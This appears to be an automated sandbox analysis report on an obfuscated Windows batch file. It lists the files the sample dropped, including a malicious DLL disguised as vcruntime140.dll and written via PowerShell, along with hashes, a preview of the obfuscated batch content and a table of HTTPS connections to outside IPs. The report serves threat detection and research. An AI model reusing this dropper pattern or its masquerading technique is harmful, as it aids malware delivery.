SHA1:	958A8F17E432EA7E32F657BDBF668BE1B1C68E64
SHA-256:	EFA5CD364CC2A96AE0ED75667F24ED886EB56054FE9223FE052F27DAF1F38B57
SHA-512:	8E40024E834F20FB93E9A0C1F2B62B82616F77B16F66AE37836896E50DE2E4A54CE7A4F071A6CE76CD27824140C1FB9A97B2DE48EC6213F6DA374E1287A9C3DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..............[.......................................................................7.............Rich....................PE..d.....e.........."....%.....R.................@..........................................`..................................................(.......P..x5...@..t....^.../......0....#..T...........................`"..@............ ...............................text...\|........................... ..`.rdata..j.... ......................@..@.data...8....0......."..............@....pdata..t....@.......$..............@..@.rsrc...x5...P...6...&..............@..@.reloc..0............\..............@..B................................................................................................................................................................................................................................................

C:\Users\Public\Document\vcruntime140.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_113yro31.kwy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3irhgmty.j1v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vtybpjb.zkz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1xxxajk.0cc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_arjezrm2.4x5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_burec4oc.s0d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3i2wbsd.r1j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljd2gb3e.24x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\tmp

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Mrv:gv
MD5:	CE585C6BA32AC17652D2345118536F9C
SHA1:	BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
SHA-256:	589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
SHA-512:	D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
Malicious:	false
Preview:	ECHO is off...

\Device\Null

Download File

Process:	C:\Windows\System32\find.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.8956388075276664
Encrypted:	false
SSDEEP:	3:gOmAe9qQn:xm/
MD5:	89D484A82D15549C8F4BF2B4D4F1E924
SHA1:	58F49E997A58A17C2902E08026BAC2DD16A34B1B
SHA-256:	040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
SHA-512:	C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
Malicious:	false
Preview:	FIND: Parameter format not correct..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (16598), with no line terminators
Entropy (8bit):	5.552858829171592
TrID:	MP3 audio (ID3 v1.x tag) (2501/1) 45.44% Text - UTF-16 (LE) encoded (2002/1) 36.37% MP3 audio (1001/1) 18.19%
File name:	hnghksdjfhs19De.bat
File size:	33'199 bytes
MD5:	ce6e78bc240cf40f51a8247e7fd4aec9
SHA1:	80ee7b876b24f5b0d28683392e92cabe4517a73e
SHA256:	fb03f110f5e21d788fed522950dda72e04dd276dd11f2151f9b7be9164a38276
SHA512:	fe68721cc76468ed8860a22af94851c01a53150081d2996d859fad331f04eaa995d4c81829f87f318af1de567da638aad63d88e71ca68c8e94299d793154f6b0
SSDEEP:	192:ez34MmE9Sq6I0A4A7LsvGAy3o/fRAV7a3vFelSOsKAh:ezIMmsSqR0Ar74AsAV7aBh
TLSH:	0EE206210F73BC8E21D5C320E1CAA496A9D57DBD3BFB94228D383F588FA095E4519D78
File Content Preview:	....>nul 2>&1 &cls.@e^%(........)(........)...(......_...)......( ..._...)......( ..._...)......( ..._...)...^%ch%(.........)(.........)...( ^..._...)...(.........)...(......_...)...(........)%%(........)...( ^..._...)...(.........)(........)(.........)..

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 14:14:05.314763069 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:05.314815998 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:05.314924002 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:05.325858116 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:05.325875044 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:06.748521090 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:06.748600006 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:06.752614021 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:06.752626896 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:06.752983093 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:06.775413036 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:06.823329926 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:08.001908064 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:08.001987934 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:08.002007961 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:08.002048016 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:08.002063036 CET	443	49717	162.125.69.18	192.168.2.9
Dec 19, 2024 14:14:08.002109051 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:08.007347107 CET	49717	443	192.168.2.9	162.125.69.18
Dec 19, 2024 14:14:12.633812904 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:12.633869886 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:12.634061098 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:12.636846066 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:12.636877060 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:13.855597973 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:13.855679035 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:13.857554913 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:13.857580900 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:13.857891083 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:13.864203930 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:13.911338091 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.364453077 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.364487886 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.364563942 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.364578009 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.364628077 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.364670038 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.364680052 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.372723103 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.372818947 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.372847080 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.389496088 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.389548063 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.389600992 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.389631033 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.389676094 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.397748947 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.406194925 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.406295061 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.406323910 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.446491003 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.484009027 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.524585962 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.556210995 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.558522940 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.558588982 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.558614016 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.566220045 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.566279888 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.566303015 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.573810101 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.573893070 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.573918104 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.589010954 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.589148045 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.589170933 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.589184999 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.589256048 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.596740961 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.604433060 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.604455948 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.604532003 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.604568005 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.604613066 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.612049103 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.619904041 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.619978905 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.620007992 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.625349998 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.625432014 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.625453949 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.631155014 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.631230116 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.631254911 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.636478901 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.636534929 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.636562109 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.647638083 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.647701025 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.647752047 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.647780895 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.647825956 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.750056028 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.756668091 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.756685019 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.756788969 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.756841898 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.765485048 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.765522003 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.765590906 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.765630007 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.765644073 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.773951054 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.774044991 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.774075985 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.774125099 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.781332016 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.781400919 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.788953066 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.789033890 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.792790890 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.792849064 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.800656080 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.800720930 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.808084011 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.808197021 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.815709114 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.815778971 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.819571018 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.819631100 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.827183962 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.827250004 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.831130981 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.831191063 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.838793039 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.838856936 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.846263885 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.846338034 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.973093033 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.973314047 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.977035046 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.977166891 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.982343912 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.982462883 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.985018015 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.985117912 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.990437984 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.990514994 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.995711088 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.995805979 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:14.998527050 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:14.998610973 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.004261971 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.004357100 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.009037971 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.009166956 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.014425039 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.014508963 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.017122030 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.017205954 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.022496939 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.022593021 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.025744915 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.025832891 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.030548096 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.030622959 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.035851955 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.035921097 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.038477898 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.038533926 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.043823957 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.043898106 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.046566963 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.046629906 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.051882029 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.051949024 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.057166100 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.057245970 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.061208963 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.061279058 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.066495895 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.066560984 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.071854115 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:15.071932077 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:15.074644089 CET	443	49736	172.65.251.78	192.168.2.9
